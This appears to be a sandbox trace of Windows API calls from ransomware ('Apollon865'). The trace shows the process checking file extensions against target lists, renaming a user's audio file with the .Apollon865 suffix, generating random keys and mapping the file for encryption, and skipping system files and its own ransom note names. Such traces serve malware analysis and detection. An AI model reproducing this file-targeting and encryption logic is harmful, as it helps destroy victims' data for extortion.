	[0088.451] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.451] lstrlenW (lpString="abs") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.451] lstrlenW (lpString="abx") returned 3
	[0088.451] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.451] lstrlenW (lpString="accdb") returned 5
	[0088.451] lstrcmpiW (lpString1="s.wav", lpString2="accdb") returned 1
	[0088.451] lstrlenW (lpString="accdc") returned 5
	[0088.451] lstrcmpiW (lpString1="s.wav", lpString2="accdc") returned 1
	[0088.451] lstrlenW (lpString="accde") returned 5
	[0088.451] lstrcmpiW (lpString1="s.wav", lpString2="accde") returned 1
	[0088.451] lstrlenW (lpString="accdr") returned 5
	[0088.451] lstrcmpiW (lpString1="s.wav", lpString2="accdr") returned 1
	[0088.451] lstrlenW (lpString="accdt") returned 5
	[0088.451] lstrcmpiW (lpString1="s.wav", lpString2="accdt") returned 1
	[0088.451] lstrlenW (lpString="accdw") returned 5
	[0088.452] lstrcmpiW (lpString1="s.wav", lpString2="accdw") returned 1
	[0088.452] lstrlenW (lpString="accft") returned 5
	[0088.452] lstrcmpiW (lpString1="s.wav", lpString2="accft") returned 1
	[0088.452] lstrlenW (lpString="adb") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.452] lstrlenW (lpString="adb") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.452] lstrlenW (lpString="ade") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.452] lstrlenW (lpString="adf") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.452] lstrlenW (lpString="adn") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.452] lstrlenW (lpString="adp") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.452] lstrlenW (lpString="alf") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.452] lstrlenW (lpString="ask") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.452] lstrlenW (lpString="btr") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.452] lstrlenW (lpString="cat") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.452] lstrlenW (lpString="cdb") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.452] lstrlenW (lpString="ckp") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.452] lstrlenW (lpString="cma") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.452] lstrlenW (lpString="cpd") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.452] lstrlenW (lpString="dacpac") returned 6
	[0088.452] lstrcmpiW (lpString1="1s.wav", lpString2="dacpac") returned -1
	[0088.452] lstrlenW (lpString="dad") returned 3
	[0088.452] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.452] lstrlenW (lpString="dadiagrams") returned 10
	[0088.452] lstrcmpiW (lpString1="uip-1s.wav", lpString2="dadiagrams") returned 1
	[0088.453] lstrlenW (lpString="daschema") returned 8
	[0088.453] lstrcmpiW (lpString1="p-1s.wav", lpString2="daschema") returned 1
	[0088.453] lstrlenW (lpString="db-journal") returned 10
	[0088.453] lstrcmpiW (lpString1="uip-1s.wav", lpString2="db-journal") returned 1
	[0088.453] lstrlenW (lpString="db-shm") returned 6
	[0088.453] lstrcmpiW (lpString1="1s.wav", lpString2="db-shm") returned -1
	[0088.453] lstrlenW (lpString="db-wal") returned 6
	[0088.453] lstrcmpiW (lpString1="1s.wav", lpString2="db-wal") returned -1
	[0088.453] lstrlenW (lpString="dbc") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.453] lstrlenW (lpString="dbs") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.453] lstrlenW (lpString="dbt") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.453] lstrlenW (lpString="dbv") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.453] lstrlenW (lpString="dbx") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.453] lstrlenW (lpString="dcb") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.453] lstrlenW (lpString="dct") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.453] lstrlenW (lpString="dcx") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.453] lstrlenW (lpString="ddl") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.453] lstrlenW (lpString="dlis") returned 4
	[0088.453] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.453] lstrlenW (lpString="dp1") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.453] lstrlenW (lpString="dqy") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.453] lstrlenW (lpString="dsk") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.453] lstrlenW (lpString="dsn") returned 3
	[0088.453] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.453] lstrlenW (lpString="dtsx") returned 4
	[0088.453] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.454] lstrlenW (lpString="dxl") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.454] lstrlenW (lpString="eco") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.454] lstrlenW (lpString="ecx") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.454] lstrlenW (lpString="edb") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.454] lstrlenW (lpString="epim") returned 4
	[0088.454] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.454] lstrlenW (lpString="fcd") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.454] lstrlenW (lpString="fdb") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.454] lstrlenW (lpString="fic") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.454] lstrlenW (lpString="flexolibrary") returned 12
	[0088.454] lstrcmpiW (lpString1="8huip-1s.wav", lpString2="flexolibrary") returned -1
	[0088.454] lstrlenW (lpString="fm5") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.454] lstrlenW (lpString="fmp") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.454] lstrlenW (lpString="fmp12") returned 5
	[0088.454] lstrcmpiW (lpString1="s.wav", lpString2="fmp12") returned 1
	[0088.454] lstrlenW (lpString="fmpsl") returned 5
	[0088.454] lstrcmpiW (lpString1="s.wav", lpString2="fmpsl") returned 1
	[0088.454] lstrlenW (lpString="fol") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.454] lstrlenW (lpString="fp3") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.454] lstrlenW (lpString="fp4") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.454] lstrlenW (lpString="fp5") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.454] lstrlenW (lpString="fp7") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.454] lstrlenW (lpString="fpt") returned 3
	[0088.454] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.455] lstrlenW (lpString="frm") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.455] lstrlenW (lpString="gdb") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.455] lstrlenW (lpString="gdb") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.455] lstrlenW (lpString="grdb") returned 4
	[0088.455] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.455] lstrlenW (lpString="gwi") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.455] lstrlenW (lpString="hdb") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.455] lstrlenW (lpString="his") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.455] lstrlenW (lpString="ib") returned 2
	[0088.455] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.455] lstrlenW (lpString="idb") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.455] lstrlenW (lpString="ihx") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.455] lstrlenW (lpString="itdb") returned 4
	[0088.455] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.455] lstrlenW (lpString="itw") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.455] lstrlenW (lpString="jet") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.455] lstrlenW (lpString="jtx") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.455] lstrlenW (lpString="kdb") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.455] lstrlenW (lpString="kexi") returned 4
	[0088.455] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.455] lstrlenW (lpString="kexic") returned 5
	[0088.455] lstrcmpiW (lpString1="s.wav", lpString2="kexic") returned 1
	[0088.455] lstrlenW (lpString="kexis") returned 5
	[0088.455] lstrcmpiW (lpString1="s.wav", lpString2="kexis") returned 1
	[0088.455] lstrlenW (lpString="lgc") returned 3
	[0088.455] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.456] lstrlenW (lpString="lwx") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.456] lstrlenW (lpString="maf") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.456] lstrlenW (lpString="maq") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.456] lstrlenW (lpString="mar") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.456] lstrlenW (lpString="marshal") returned 7
	[0088.456] lstrcmpiW (lpString1="-1s.wav", lpString2="marshal") returned -1
	[0088.456] lstrlenW (lpString="mas") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.456] lstrlenW (lpString="mav") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.456] lstrlenW (lpString="maw") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.456] lstrlenW (lpString="mdbhtml") returned 7
	[0088.456] lstrcmpiW (lpString1="-1s.wav", lpString2="mdbhtml") returned -1
	[0088.456] lstrlenW (lpString="mdn") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.456] lstrlenW (lpString="mdt") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.456] lstrlenW (lpString="mfd") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.456] lstrlenW (lpString="mpd") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.456] lstrlenW (lpString="mrg") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.456] lstrlenW (lpString="mud") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.456] lstrlenW (lpString="mwb") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.456] lstrlenW (lpString="myd") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.456] lstrlenW (lpString="ndf") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.456] lstrlenW (lpString="nnt") returned 3
	[0088.456] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.457] lstrlenW (lpString="nrmlib") returned 6
	[0088.457] lstrcmpiW (lpString1="1s.wav", lpString2="nrmlib") returned -1
	[0088.457] lstrlenW (lpString="ns2") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.457] lstrlenW (lpString="ns3") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.457] lstrlenW (lpString="ns4") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.457] lstrlenW (lpString="nsf") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.457] lstrlenW (lpString="nv") returned 2
	[0088.457] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.457] lstrlenW (lpString="nv2") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.457] lstrlenW (lpString="nwdb") returned 4
	[0088.457] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.457] lstrlenW (lpString="nyf") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.457] lstrlenW (lpString="odb") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.457] lstrlenW (lpString="odb") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.457] lstrlenW (lpString="oqy") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.457] lstrlenW (lpString="ora") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.457] lstrlenW (lpString="orx") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.457] lstrlenW (lpString="owc") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.457] lstrlenW (lpString="p96") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.457] lstrlenW (lpString="p97") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.457] lstrlenW (lpString="pan") returned 3
	[0088.457] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.457] lstrlenW (lpString="pdb") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.458] lstrlenW (lpString="pdm") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.458] lstrlenW (lpString="pnz") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.458] lstrlenW (lpString="qry") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.458] lstrlenW (lpString="qvd") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.458] lstrlenW (lpString="rbf") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.458] lstrlenW (lpString="rctd") returned 4
	[0088.458] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.458] lstrlenW (lpString="rod") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.458] lstrlenW (lpString="rodx") returned 4
	[0088.458] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.458] lstrlenW (lpString="rpd") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.458] lstrlenW (lpString="rsd") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.458] lstrlenW (lpString="sas7bdat") returned 8
	[0088.458] lstrcmpiW (lpString1="p-1s.wav", lpString2="sas7bdat") returned -1
	[0088.458] lstrlenW (lpString="sbf") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.458] lstrlenW (lpString="scx") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.458] lstrlenW (lpString="sdb") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.458] lstrlenW (lpString="sdc") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.458] lstrlenW (lpString="sdf") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.458] lstrlenW (lpString="sis") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.458] lstrlenW (lpString="spq") returned 3
	[0088.458] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.459] lstrlenW (lpString="te") returned 2
	[0088.459] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.459] lstrlenW (lpString="teacher") returned 7
	[0088.459] lstrcmpiW (lpString1="-1s.wav", lpString2="teacher") returned -1
	[0088.459] lstrlenW (lpString="tmd") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.459] lstrlenW (lpString="tps") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.459] lstrlenW (lpString="trc") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.459] lstrlenW (lpString="trc") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.459] lstrlenW (lpString="trm") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.459] lstrlenW (lpString="udb") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.459] lstrlenW (lpString="udl") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.459] lstrlenW (lpString="usr") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.459] lstrlenW (lpString="v12") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.459] lstrlenW (lpString="vis") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.459] lstrlenW (lpString="vpd") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.459] lstrlenW (lpString="vvv") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.459] lstrlenW (lpString="wdb") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.459] lstrlenW (lpString="wmdb") returned 4
	[0088.459] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.459] lstrlenW (lpString="wrk") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.459] lstrlenW (lpString="xdb") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.459] lstrlenW (lpString="xld") returned 3
	[0088.459] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.460] lstrlenW (lpString="xmlff") returned 5
	[0088.460] lstrcmpiW (lpString1="s.wav", lpString2="xmlff") returned -1
	[0088.460] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\sUzb8huip-1s.wav.Apollon865") returned 69
	[0088.460] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\sUzb8huip-1s.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\suzb8huip-1s.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\sUzb8huip-1s.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\suzb8huip-1s.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\sUzb8huip-1s.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\suzb8huip-1s.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.461] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=24182) returned 1
	[0088.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.461] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.462] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.462] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.462] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6180, lpName=0x0) returned 0x15c
	[0088.466] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6180) returned 0x100000
	[0088.467] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.468] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.468] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.469] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.469] CloseHandle (hObject=0x15c) returned 1
	[0088.469] CloseHandle (hObject=0x9c) returned 1
	[0088.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.470] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0a3f00, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xe56a3f40, ftLastAccessTime.dwHighDateTime=0x1d4cb98, ftLastWriteTime.dwLowDateTime=0xe56a3f40, ftLastWriteTime.dwHighDateTime=0x1d4cb98, nFileSizeHigh=0x0, nFileSizeLow=0x1553f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VS_dVFrYo_CGO1iaGus.m4a", cAlternateFileName="VS_DVF~1.M4A")) returned 1
	[0088.470] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.470] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="Apollon865.txt.exe") returned 1
	[0088.470] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2=".") returned 1
	[0088.470] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="..") returned 1
	[0088.470] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="windows") returned -1
	[0088.470] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="bootmgr") returned 1
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="temp") returned 1
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="pagefile.sys") returned 1
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="boot") returned 1
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="ids.txt") returned 1
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="ntuser.dat") returned 1
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="perflogs") returned 1
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2="MSBuild") returned 1
	[0088.471] lstrlenW (lpString="VS_dVFrYo_CGO1iaGus.m4a") returned 23
	[0088.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\sUzb8huip-1s.wav") returned 58
	[0088.471] lstrcpyW (in: lpString1=0x119e65c, lpString2="VS_dVFrYo_CGO1iaGus.m4a" | out: lpString1="VS_dVFrYo_CGO1iaGus.m4a") returned="VS_dVFrYo_CGO1iaGus.m4a"
	[0088.471] lstrlenW (lpString="VS_dVFrYo_CGO1iaGus.m4a") returned 23
	[0088.471] lstrlenW (lpString="Apollon865") returned 10
	[0088.471] lstrcmpiW (lpString1="1iaGus.m4a", lpString2="Apollon865") returned -1
	[0088.471] lstrlenW (lpString=".dll") returned 4
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2=".dll") returned 1
	[0088.471] lstrlenW (lpString=".lnk") returned 4
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2=".lnk") returned 1
	[0088.471] lstrlenW (lpString=".ini") returned 4
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2=".ini") returned 1
	[0088.471] lstrlenW (lpString=".sys") returned 4
	[0088.471] lstrcmpiW (lpString1="VS_dVFrYo_CGO1iaGus.m4a", lpString2=".sys") returned 1
	[0088.471] lstrlenW (lpString="VS_dVFrYo_CGO1iaGus.m4a") returned 23
	[0088.471] lstrlenW (lpString="bak") returned 3
	[0088.471] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1
	[0088.471] lstrlenW (lpString="ba_") returned 3
	[0088.471] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1
	[0088.471] lstrlenW (lpString="dbb") returned 3
	[0088.471] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1
	[0088.471] lstrlenW (lpString="vmdk") returned 4
	[0088.471] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1
	[0088.471] lstrlenW (lpString="rar") returned 3
	[0088.471] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1
	[0088.471] lstrlenW (lpString="zip") returned 3
